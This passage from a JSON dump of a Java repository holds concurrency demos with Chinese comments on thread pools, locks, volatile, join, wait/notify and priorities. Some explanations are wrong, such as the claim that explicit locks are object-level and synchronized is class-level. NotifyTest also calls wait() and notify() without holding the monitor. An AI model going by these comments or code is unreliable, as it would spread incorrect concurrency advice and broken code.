Executors.newScheduledThreadPool(10);   //创建大小为10的线程池  \n\t     for(int i = 0; i < 10; i++) {     \n\t            exec.schedule(new MyThread(String.valueOf(i)), 2, TimeUnit.SECONDS);//延迟2秒执行  \n\t     }     \n\t     //如果任务都完成了则返回true\n\t     while(!exec.isTerminated()){  \n\t            //wait for all tasks to finish  \n//\t    \t System.out.println(\"正在运行中...\");\n\t     }  \n\t     System.out.println(\"运行结束！\");\n\t}\n\t\n\t/**\n\t * 设置固定时间执行\n\t */\n\tprivate static void newScheduledThreadPool2() {\n\t\t ScheduledThreadPoolExecutor  exec = (ScheduledThreadPoolExecutor) Executors.newScheduledThreadPool(10);   //创建大小为10的线程池  \n\t\t long oneDay = 24 * 60 * 60 * 1000;    \n\t\t long initDelay  = getTimeMillis(\"14:08:00\") - System.currentTimeMillis();    \n\t\t initDelay = initDelay > 0 ? initDelay : oneDay + initDelay;  \n\t\t exec.scheduleAtFixedRate(new MyThread(String.valueOf(1)), initDelay, oneDay, TimeUnit.MILLISECONDS);\n\t     System.out.println(\"运行结束！\");\n\t}\n\t\n\t/**  \n\t * 获取指定时间对应的毫秒数  \n\t * @param time \"HH:mm:ss\"  \n\t * @return  \n\t */    \n\tprivate static long getTimeMillis(String time) {    \n\t    try {    \n\t        DateFormat dateFormat = new SimpleDateFormat(\"yy-MM-dd HH:mm:ss\");    \n\t        DateFormat dayFormat = new SimpleDateFormat(\"yy-MM-dd\");    \n\t        Date curDate = dateFormat.parse(dayFormat.format(new Date()) + \" \" + time);    \n\t        return curDate.getTime();    \n\t    } catch (ParseException e) {    \n\t        e.printStackTrace();    \n\t    }    \n\t    return 0;    \n\t} \n\t\n\t/**\n\t * ThreadPoolExecutor线程池\n\t */\n\tprivate  static void threadPoolExecutor() {\n\t\tint corePoolSize=5;\n\t\tint maximumPoolSize=10;\n\t\tlong keepAliveTime=2L;\n\t\t// 线程核心数，最大线程数，线程缓存时间，时间格式，缓存队列 ，线程工厂，拒绝策略\n\t\tThreadPoolExecutor tpx=new ThreadPoolExecutor(corePoolSize, maximumPoolSize, keepAliveTime, \n\t\t\t\tTimeUnit.SECONDS, new ArrayBlockingQueue<Runnable>(3),\n\t\t\t\tExecutors.defaultThreadFactory(),new ThreadPoolExecutor.DiscardOldestPolicy());\n\t\t\n\t\t  for (int i = 1; i <= 10; i++) {  \n\t            try {  \n\t                // 产生一个任务，并将其加入到线程池  \n\t                String task = \"task@ \" + i;  \n//\t                System.out.println(\"put \" + task);  \n\t                tpx.execute(new MyThread(task));  \n\t                // 便于观察，等待一段时间  \n\t                Thread.sleep(20);  \n\t            } catch (Exception e) {  \n\t                e.printStackTrace();  \n\t            }  \n\t        }  \n\t}\n\t\n\t\n\t\n}\n\nclass MyThread implements Runnable{\n\tprivate String name;\n\tpublic  MyThread(String name){\n\t\tthis.name=name;\n\t}\n\t\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(name+ \"线程开始运行,时间:\" +getNowTime());\n\t\tpause(1000);\n\t\tSystem.out.println(name+ \"线程运行结束,时间:\" +getNowTime());\n\t}\n\t\n\tprivate void pause(long lo) {\n\t\t try {  \n             Thread.sleep(lo);  \n         } catch (InterruptedException e) {  \n             e.printStackTrace();  \n         }  \n\n\t}\n\t\n\tprivate String getNowTime(){\n\t\treturn new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss SSS\").format(new Date());\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/concurrent/liveLock/Consumer.java",
    "content": "package com.jun.plugin.thread.concurrent.liveLock;\n\nimport java.util.Random;\n\n\npublic  class Consumer implements Runnable {\n    private Drop drop;\n\n    public Consumer(Drop drop) {\n        this.drop = drop;\n    }\n    public void run() {\n        Random random = new Random();\n//        String message=\"\";\n//        do{\n//        \tmessage= drop.take();\n//        \tSystem.out.format(\"MESSAGE RECEIVED: %s%n\", message);\n//        \ttry {\n//                Thread.sleep(random.nextInt(1000));\n//            } catch (InterruptedException e) {\n//            \te.printStackTrace();\n//            }\n//        } while(!message.equals(\"DONE\"));\n        \n        for (String message = drop.take(); !message.equals(\"DONE\"); message = drop.take()) {\n            System.out.format(\"MESSAGE RECEIVED: %s%n\", message);\n            try {\n                Thread.sleep(random.nextInt(1000));\n            } catch (InterruptedException e) {\n            \te.printStackTrace();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/concurrent/liveLock/Drop.java",
    "content": "package com.jun.plugin.thread.concurrent.liveLock;\n\n/**\n * \n* Title: Drop\n* Description: \n* 数据协同\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月8日\n */\npublic class Drop {\n\t  // 发送的消息\n\t  private String message;\n\t   //true 表示消费者应该等待生产者发送消息\n\t  // flase 表示生产者应该等待消费者获取消息\n\t  private boolean empty = true;\n\t\n\t  public synchronized String take() {\n\t      // 等待消息可用\n\t      while (empty) {\n\t          try {\n\t              wait();\n\t          } catch (InterruptedException e) {\n\t        \t  e.printStackTrace();\n\t          }\n\t      }\n\t      // 改变状态\n\t      empty = true;\n\t      // 通知消费者状态改变\n\t      notifyAll();\n\t      return message;\n\t  }\n\t\n\t  public synchronized void put(String message) {\n\t\t   //等待消息被检索到 \n\t      while (!empty) {\n\t          try { \n\t              wait();\n\t          } catch (InterruptedException e) {\n\t        \t  e.printStackTrace();\n\t          }\n\t      }\n\t      // 改变状态\n\t      empty = false;\n\t      this.message = message;\n\t      // 通知消费者状态改变\n\t      notifyAll();\n\t  }\n  }"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/concurrent/liveLock/Producer.java",
    "content": "package com.jun.plugin.thread.concurrent.liveLock;\n\nimport java.util.Random;\n\n/**\n * \n* Title: Producer\n* Description:\n* 消息生产者 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月8日\n */\npublic  class Producer implements Runnable {\n    private Drop drop;\n    public Producer(Drop drop) {\n        this.drop = drop;\n    }\n\n    public void run() {\n        String importantInfo[] = { \"第一条数据\", \"第二条数据\", \"第三条数据\",\n                \"第四条数据\" };\n        Random random = new Random();\n        for (int i = 0; i < importantInfo.length; i++) {\n            drop.put(importantInfo[i]);\n            try {\n                Thread.sleep(random.nextInt(1000));\n            } catch (InterruptedException e) {\n            }\n        }\n        //表示已经发送完\n        drop.put(\"DONE\");\n    }\n}\t\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/concurrent/liveLock/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * 活锁测试\n * 一个线程常常处于响应另一个线程的动作，如果其他线程也常常处于该线程的动作,那么就可能出现活锁。\n * Version:1.0.0  \n * @author pancm\n * @date 2018年3月8日\n */\npackage com.jun.plugin.thread.concurrent.liveLock;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/concurrent/liveLock/test.java",
    "content": "package com.jun.plugin.thread.concurrent.liveLock;\n\n\n\n/**\n * \n* Title: \n* Description: \n* 多线程共享测试\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月8日\n */\npublic class test{\n\t \n\tpublic static void main(String[] args) {\n\t\t     Drop drop=new Drop();\n\t        (new Thread(new Producer(drop))).start();\n\t        (new Thread(new Consumer(drop))).start();\n\t }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/concurrent/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 并发相关的测试代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.thread.concurrent;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/lock/LockSydTest.java",
    "content": "package com.jun.plugin.thread.lock;\n\nimport java.util.Calendar;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n* @Title: LockSydTest\n* @Description: Lock(显示锁)和synchronized(内部锁) 测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2017年10月18日\n */\npublic class LockSydTest {\n\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\trunTasks(lockTest.class);\n\t\t\trunTasks(synTest.class);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t/**\n\t * 任务执行器\n\t * @param cl \n\t * @throws Exception\n\t */\n\tpublic static void runTasks(Class <? extends Runnable> cl) throws Exception{\n\t\tExecutorService es=Executors.newCachedThreadPool(); //创建一个执行器\n\t\tSystem.out.println(\"---开始执行---\"+cl.getSimpleName()+\" 任务\");\n\t\t//启动三个线程\n\t\tfor(int i=0;i<3;i++){\n\t\t\tes.submit(cl.newInstance());\n\t\t}\n\t\t//等待足够长的时间，然后关闭执行器\n\t\tTimeUnit.SECONDS.sleep(10);\n\t\tSystem.out.println(\"---结束任务---\"+cl.getSimpleName()+\" 任务执行完毕 \\n\");\n\t\tes.shutdown();//关闭执行器\n\t\t\n\t\t\n\t\t/*\n\t\t * 输出结果:\n\t\t * ---开始执行---lockTest 任务\n\t\t\t线程名称:pool-1-thread-2,执行时间:35 s\n\t\t\t线程名称:pool-1-thread-3,执行时间:35 s\n\t\t\t线程名称:pool-1-thread-1,执行时间:35 s\n\t\t\t---结束任务---lockTest 任务执行完毕 \n\t\t\t\n\t\t\t---开始执行---synTest 任务\n\t\t\t线程名称:pool-2-thread-1,执行时间:45 s\n\t\t\t线程名称:pool-2-thread-3,执行时间:47 s\n\t\t\t线程名称:pool-2-thread-2,执行时间:49 s\n\t\t\t---结束任务---synTest 任务执行完毕 \n\t\t * \n\t\t */\n\t\t\n\t\t/* 总结:\n\t\t * lock(显示锁) 是对象级别的锁，而synchronized(内部锁)是类级别的锁，\n\t\t * 也就是说显示锁是跟着对象的，而内部锁是跟随类的。\n\t\t * 简单来说的话，把lock定义为多线程类的私有属性是起不到资源互斥作用的，\n\t\t * 除非把lock定义为所有线程的共享变量。\n\t\t * \n\t\t */\n\t}\n}\n\nclass Task{\n\tpublic void doSomething(){\n\t\ttry{\n\t\t\tThread.sleep(2000); //等待2秒，此处线程状态转为WAITING\n\t\t}catch(Exception e){\n\t\t\t\n\t\t}\n\t\tStringBuffer sb=new StringBuffer();\n\t\tsb.append(\"线程名称:\"+Thread.currentThread().getName());\n\t\tsb.append(\",执行时间:\"+Calendar.getInstance().get(13)+\" s\");\n\t\tSystem.out.println(sb);\n\t}\n}\n\n/**\n * \n* Title: lockTest\n* Description:  Lock（显示锁）测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月18日\n */\nclass lockTest extends Task implements Runnable{\n\tprivate final Lock lock=new ReentrantLock();\n\t@Override\n\tpublic void run() {\n\t\ttry{\n\t\t\tlock.lock();\n\t\t\tdoSomething();\n\t\t}catch(Exception e){\n\t\t\t\n\t\t}finally{\n\t\t\tlock.unlock(); //释放锁\n\t\t}\n\t}\n}\n\n/**\n * \n* Title: lockTest\n* Description:  synchronized（内部锁）测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月18日\n */\nclass synTest extends Task implements Runnable{\n\t@Override\n\tpublic void run() {\n\t\tsynchronized(\"A\"){\n\t\t\tdoSomething();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/lock/LockTest1.java",
    "content": "package com.jun.plugin.thread.lock;\n\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\n\n/**\n * \n* @Title: LockTest1\n* @Description: Lock(显示锁)和synchronized(内部锁) 测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2017年10月23日\n */\npublic class LockTest1 {\n\n\tpublic static void main(String[] args) {\n\t\t\n\t}\n\n}\n\nclass Foo{\n\t/** 可重入的读写锁 */\n\tprivate final ReentrantReadWriteLock rwl=new ReentrantReadWriteLock();\n\t\n\t/** 读锁 */\n\tprivate final Lock r=rwl.readLock();\n\t\n\t/** 写锁 */\n\tprivate final Lock w=rwl.writeLock();\n\t\n\t\n\t//读操作，可并发执行\n\tpublic void read(){\n\t\ttry{\n\t\t\tr.lock();\n\t\t\tThread.sleep(1000);\n\t\t\tSystem.out.println(\"read......\");\n\t\t}catch(InterruptedException e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tr.unlock();\n\t\t}\n\t}\n\t\n\t//写操作，同时值允许一个执行\n\tpublic void write(){\n\t\ttry{\n\t\t\tw.lock();\n\t\t\tThread.sleep(1000);\n\t\t\tSystem.out.println(\"write......\");\n\t\t}catch(InterruptedException e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tw.unlock();\n\t\t}\n\t}\n\t\n\t/*\n\t *  1.Lock支持更细粒度的锁控制;\n\t *  2.Lock是无阻塞锁，synchronized是阻塞锁;\n\t *  例:当线程A持有锁的时，线程B也期望获得锁，此时，如果线程是使用的显示锁，则B线程为等待状态（即阻塞）;\n\t *    如果使用的是内部锁则为阻塞状态。\n\t *    \n\t *  3.Lock可以实现公平锁，而synchronized只能是非公平锁;\n\t *  非公平锁:当一个线程A持有锁，而线程B、C处于阻塞状态时，   若线程A释放锁，JVM将从线程B、C随机选择一个线程持有锁并使其获得执行权，\n\t *  \t     这叫做非公平锁(因为它抛弃了先来后到的顺序); \n\t *  公平锁:若JVM选择了等待时间最长的一个线程持有锁，则为公平锁（保证每个线程的等待时间均衡）。\n\t *  \t   需要注意的是，即使是公平锁，JVM也无法做到准确的“公平”，在程序中不能以此作为计算。\n\t *  显示锁默认是非公平锁，可以在构造函数中增加true来声明公平锁，而synchronized只能是实现非公平锁。\n\t *  \n\t *  4.Lock是代码级，synchronized是JVM级的\n\t *   Lock是通过编码实现的，synchronized是在运行期由JVM解释的，相对来说synchronized的优化可能性更高，\n\t *   毕竟是在最核心部分支持的，Lock的优化则需要用户自行考虑。\n\t *   灵活、强大选择Lock;快捷、安全选择synchronized。\n\t *  \t\n\t * \n\t * \n\t * \n\t * \n\t */\n\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/lock/LockTest2.java",
    "content": "package com.jun.plugin.thread.lock;\n\nimport java.util.concurrent.locks.Condition;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * \n * @Title: LockTest2 \n * @Description: 显示锁的唤醒测试 \n * @Version:1.0.0\n * @author pancm\n * @date 2018年2月28日\n */\npublic class LockTest2 {\n\tfinal Lock lock = new ReentrantLock();\n\n\tfinal Condition notfull = lock.newCondition();\n\n\tfinal Condition notempty = lock.newCondition();\n\n\tfinal Object[] items = new Object[100];\n\n\tint putptr, takeptr, count;\n\n\tpublic static void main(String[] args) throws InterruptedException {\n\t\tLockTest2 lt = new LockTest2();\n\t\tObject obj = 2;\n\t\tlt.put(obj);\n\t\tlt.take();\n\t}\n\n\t/**\n\t * 而现在锁是指定对象lock。所以查找等待唤醒机制方式需要通过lock接口来完成。\n\t * 而lock接口中并没有直接操作等待唤醒的方法，而是将这些方式又单独封装到了一个对象中。\n\t * 这个对象就是condition，将object中的三个方法进行单独的封装。 并提供了功能一致的方法\n\t * await()、signal()、signalall()体现新版本对象的好处。\n\t * \n\t * @param x\n\t * @throws InterruptedException\n\t */\n\tpublic void put(Object x) throws InterruptedException {\n\t\tlock.lock();\n\t\ttry {\n\t\t\twhile (count == items.length) {\n\t\t\t\tnotfull.await();\n\t\t\t}\n\t\t\titems[putptr] = x;\n\n\t\t\tif (++putptr == items.length) {\n\t\t\t\tputptr = 0;\n\t\t\t}\n\t\t\t++count;\n\t\t\t//唤醒一个等待的线程\n\t\t\tnotempty.signal();\n\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\n\tprivate Object take() throws InterruptedException {\n\t\tlock.lock();\n\t\ttry {\n\t\t\twhile (count == 0) {\n\t\t\t\tnotempty.await();\n\t\t\t}\n\t\t\tObject x = items[takeptr];\n\n\t\t\tif (++takeptr == items.length) {\n\t\t\t\ttakeptr = 0;\n\t\t\t}\n\t\t\t--count;\n\t\t\t//唤醒一个等待的线程\n\t\t\tnotfull.signal();\n\t\t\treturn x;\n\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/lock/VolatileTest1.java",
    "content": "package com.jun.plugin.thread.lock;\n\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * \n* Title: VolatileTest1\n* Description: volatile关键字的测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class VolatileTest1 {\n\t public volatile int inv = 0; //使用volatile 保证了可见性，其他线程也可以查看更新之后的值\n\t public  int ins = 0;  \n\t\n\t public  int inl = 0;  \n\t Lock lock = new ReentrantLock();\n     \n\t    public void increase() {\n\t        inv++;\n\t    }\n\t    \n\t    public synchronized void insrease() { //使用synchronized，可以保证原子性\n\t        ins++;\n\t    }\n\t\n\t    public void inlrease(){    //使用loca 也可以保证\n\t    \t lock.lock();\n\t         try {\n\t             inl++;\n\t         } finally{\n\t             lock.unlock();\n\t         }\n\t    }\n\t    \n\t    \n\tpublic static void main(String[] args) {\n\t\tvolatileTs();\t\n\t\tsynTs();\n\t\tlockTs();\n\t   }\n\t\n\t/**\n\t * 使用 volatile 是无法保证 原子性的 \n\t * 因为 自增操作不是原子性操作\n\t */\n\tpublic static void volatileTs(){\n\t\t final VolatileTest1 test = new VolatileTest1();\n\t        for(int i=0;i<10;i++){\n\t            new Thread(){\n\t                @Override\n\t\t\t\t\tpublic void run() {\n\t                    for(int j=0;j<1000;j++) {\n\t\t\t\t\t\t\ttest.increase();\n\t\t\t\t\t\t}\n\t                };\n\t            }.start();\n\t        }\n\t        while(Thread.activeCount()>1) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t        System.out.println(test.inv); //数据小于 10000  例如:9303,9068\n\t}\n\t\n\t/**\n\t * 使用synchronized，可以保证原子性\n\t */\n\tpublic static void synTs(){\n\t\t final VolatileTest1 test = new VolatileTest1();\n\t        for(int i=0;i<10;i++){\n\t            new Thread(){\n\t                @Override\n\t\t\t\t\tpublic void run() {\n\t                    for(int j=0;j<1000;j++) {\n\t\t\t\t\t\t\ttest.insrease();\n\t\t\t\t\t\t}\n\t                };\n\t            }.start();\n\t        }\n\t        while(Thread.activeCount()>1) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t        System.out.println(test.ins); // 10000   保证了原子性\n\t}\n\t\n\t/**\n\t * 使用lock，可以保证原子性\n\t */\n\tpublic static void lockTs(){\n\t\t final VolatileTest1 test = new VolatileTest1();\n\t        for(int i=0;i<10;i++){\n\t            new Thread(){\n\t                @Override\n\t\t\t\t\tpublic void run() {\n\t                    for(int j=0;j<1000;j++) {\n\t\t\t\t\t\t\ttest.inlrease();\n\t\t\t\t\t\t}\n\t                };\n\t            }.start();\n\t        }\n\t        while(Thread.activeCount()>1) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t        System.out.println(test.inl); //10000  保证了原子性\n\t}\n\t\n\t\n\t}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/lock/VolatileTest2.java",
    "content": "package com.jun.plugin.thread.lock;\n\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * \n* Title: volatileTest1\n* Description: \n* volatile关键字的测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class VolatileTest2 {\n\t public volatile long inv = 0; //使用volatile 保证了可见性，其他线程也可以查看更新之后的值\n\t public  long ins = 0;  \n\t\n\t public  long inl = 0;  \n\t Lock lock = new ReentrantLock();\n     \n\t    public void increase() {\n\t        inv++;\n\t    }\n\t    \n\t    public synchronized void insrease() { //使用synchronized，可以保证原子性\n\t        ins++;\n\t    }\n\t\n\t    public void inlrease(){    //使用loca 也可以保证\n\t    \t lock.lock();\n\t         try {\n\t             inl++;\n\t         } finally{\n\t             lock.unlock();\n\t         }\n\t    }\n\t    \n\t    \n\tpublic static void main(String[] args) {\n\t\tvolatileTs();\t\n\t\tsynTs();\n\t\tlockTs();\n\t   }\n\t\n\t/**\n\t * 使用 volatile 是无法保证 原子性的 \n\t * 因为 自增操作不是原子性操作\n\t */\n\tpublic static void volatileTs(){\n\t\t final VolatileTest2 test = new VolatileTest2();\n\t        for(int i=0;i<10;i++){\n\t            new Thread(){\n\t                @Override\n\t\t\t\t\tpublic void run() {\n\t                    for(int j=0;j<1000;j++) {\n\t\t\t\t\t\t\ttest.increase();\n\t\t\t\t\t\t}\n\t                };\n\t            }.start();\n\t        }\n\t        while(Thread.activeCount()>1) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t        System.out.println(test.inv); //数据小于 10000  例如:9303,9068\n\t}\n\t\n\t/**\n\t * 使用synchronized，可以保证原子性\n\t */\n\tpublic static void synTs(){\n\t\t final VolatileTest2 test = new VolatileTest2();\n\t        for(int i=0;i<10;i++){\n\t            new Thread(){\n\t                @Override\n\t\t\t\t\tpublic void run() {\n\t                    for(int j=0;j<1000;j++) {\n\t\t\t\t\t\t\ttest.insrease();\n\t\t\t\t\t\t}\n\t                };\n\t            }.start();\n\t        }\n\t        while(Thread.activeCount()>1) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t        System.out.println(test.ins); // 10000   保证了原子性\n\t}\n\t\n\t/**\n\t * 使用lock，可以保证原子性\n\t */\n\tpublic static void lockTs(){\n\t\t final VolatileTest2 test = new VolatileTest2();\n\t        for(int i=0;i<10;i++){\n\t            new Thread(){\n\t                @Override\n\t\t\t\t\tpublic void run() {\n\t                    for(int j=0;j<1000;j++) {\n\t\t\t\t\t\t\ttest.inlrease();\n\t\t\t\t\t\t}\n\t                };\n\t            }.start();\n\t        }\n\t        while(Thread.activeCount()>1) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t        System.out.println(test.inl); //10000  保证了原子性\n\t}\n\t\n\t\n\t}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/lock/package-info.java",
    "content": "/**\n * @Title: package-info\n * @Description: 一些锁的测试代码\n * @Version:1.0.0  \n * @author pancm\n * @date 2017年11月7日\n */\npackage com.jun.plugin.thread.lock;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/package-info.java",
    "content": "/**\n * @Title: package-info\n * @Description: \n * 线程相关的测试类\n * Version:1.0.0  \n * @author pancm\n * @date 2018年3月1日\n */\npackage com.jun.plugin.thread;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/JoinTest.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.Random;\n\n/**\n* @Title: JoinTest\n* @Description:\n* join方法测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月22日\n*/\npublic class JoinTest {\n\n\tpublic static void main(String[] args) {\n\t\t System.out.println(Thread.currentThread().getName()+ \"主线程开始运行!\");  \n\t\t Test2 t1=new Test2(\"A\");  \n\t\t Test2 t2=new Test2(\"B\");  \n\t\t t1.start();  \n\t     t2.start();  \n\t      try {  \n\t    \t  t1.join();  \n\t        } catch (InterruptedException e) {  \n\t            e.printStackTrace();  \n\t        }  \n\t        try {  \n\t        \tt2.join();  \n\t        } catch (InterruptedException e) {  \n\t            e.printStackTrace();  \n\t        }    \n\t     System.out.println(Thread.currentThread().getName()+ \"主线程运行结束!\");  \n\t}\n\n}\n\nclass Test2 extends Thread{  \n    public Test2(String name) {  \n        super(name);  \n    }  \n    public void run() {  \n        System.out.println(this.getName() + \" 线程运行开始!\");  \n        for (int i = 0; i < 5; i++) {  \n            System.out.println(\"子线程\"+this.getName() + \"运行 : \" + i);  \n            try {  \n                sleep(new Random().nextInt(10));  \n            } catch (InterruptedException e) {  \n                e.printStackTrace();  \n            }  \n        }  \n        System.out.println(this.getName() + \" 线程运行结束!\");  \n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/MyRunnable.java",
    "content": "package com.jun.plugin.thread.test;\n/**\n * @author ZERO\n * @Data 2017-5-24 下午2:29:39\n * @Description \n */\npublic class MyRunnable implements Runnable{\n\tprivate int i = 0;\n\tprivate boolean stop=false;\n\tpublic void set(boolean falg) throws InterruptedException{\n\t\tif(!falg){\n\t\t\tsynchronized (this) {\n\t\t\t\tthis.notify();\n\t\t\t\tstop=true;\n\t\t\t\tSystem.out.println(\"启动的线程:\"+Thread.currentThread().getId());\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\t\n\t@Override\n\tpublic void run() {\n\t  for (;;) {\n\t\t  synchronized (this) {\n\t\t       if(stop){\n\t\t    \t  try {\n\t\t\t\t\tthis.wait();\n\t\t\t\t\tSystem.out.println(\"暂停的线程:\"+Thread.currentThread().getId());\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t       }\n\t\t       i++;\n\t\t\t  System.out.println(\"MyRunnable:\"+Thread.currentThread().getName() + \"第\" + i+ \"次\");\n\t\t\t  try {\n\t\t\t\tThread.sleep(100);\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t  }\n\t   }\t\n\t}\n  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/MyThread.java",
    "content": "package com.jun.plugin.thread.test;\n/**\n * @author ZERO\n * @Data 2017-5-24 下午2:20:29\n * @Description \n */\npublic class MyThread extends Thread{\n\n\tprivate int i = 0;\n\t \n\t @Override\n     public void run() {\n        for (i = 0; i < 10; i++) {\n             System.out.println(\"MyThread:\"+Thread.currentThread().getName() + \"第\" + i+ \"次\");\n         }\n    }\n\t\n\t \n\t \n\t \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/NotifyTest.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.Random;\n\n/**\n * @Title: NotifyTest\n * @Description: \n * wait 和 notify测试\n * @Version:1.0.0\n * @author pancm\n * @date 2018年5月22日\n */\npublic class NotifyTest {\n\n\tpublic static void main(String[] args) {\n\t\tTest4 t1 = new Test4(\"张三\");\n\t\tTest4 t2 = new Test4(\"李四\");\n\t\tt1.start();\n\t\tt2.start();\n\t}\n}\n\nclass Test4 extends Thread {\n\tprivate String name;\n\tpublic Test4(String name) {\n\t\tsuper(name);\n\t\tthis.name=name;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(this.getName() + \" 线程运行开始!\");\n\n\t\tfor (int i = 0; i < 5; i++) {\n\t\t\tSystem.out.println(\"子线程\" + this.getName() + \"运行 : \" + i);\n\t\t\ttry {\n\t\t\t\tsleep(new Random().nextInt(100));\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\ttry {\n\t\t\t\tif(\"李四\".equals(this.getName())){\n\t\t\t\t\tthis.getName().wait();\n\t\t\t\t}\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tthis.getName().notify();\n\n\t\t}\n\t\tSystem.out.println(this.getName() + \" 线程运行结束!\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/PriorityTest.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.Random;\n\n/**\n* @Title: PriorityTest\n* @Description:\n* 线程优先级测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月27日\n*/\npublic class PriorityTest {\n\n\tpublic static void main(String[] args) {\n\t\tTest3 t1 = new Test3(\"张三\");\n\t\tTest3 t2 = new Test3(\"李四\");\n\t\tt1.setPriority(Thread.MIN_PRIORITY);\n\t\tt2.setPriority(Thread.MAX_PRIORITY);\n\t\tt1.start();\n\t\tt2.start();\n\t}\n}\n\nclass Test3 extends Thread {\n\tpublic Test3(String name) {\n\t\tsuper(name);\n\t}\n\t@Override\n\tpublic void run() {\n        System.out.println(this.getName() + \" 线程运行开始!\");  \n\t\tfor (int i = 1; i <= 5; i++) {\n            System.out.println(\"子线程\"+this.getName() + \"运行 : \" + i); \n            try {  \n                sleep(new Random().nextInt(10));  \n            } catch (InterruptedException e) {  \n                e.printStackTrace();  \n            } \n\t\t}\n        System.out.println(this.getName() + \" 线程运行结束!\");  \n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/Test.java",
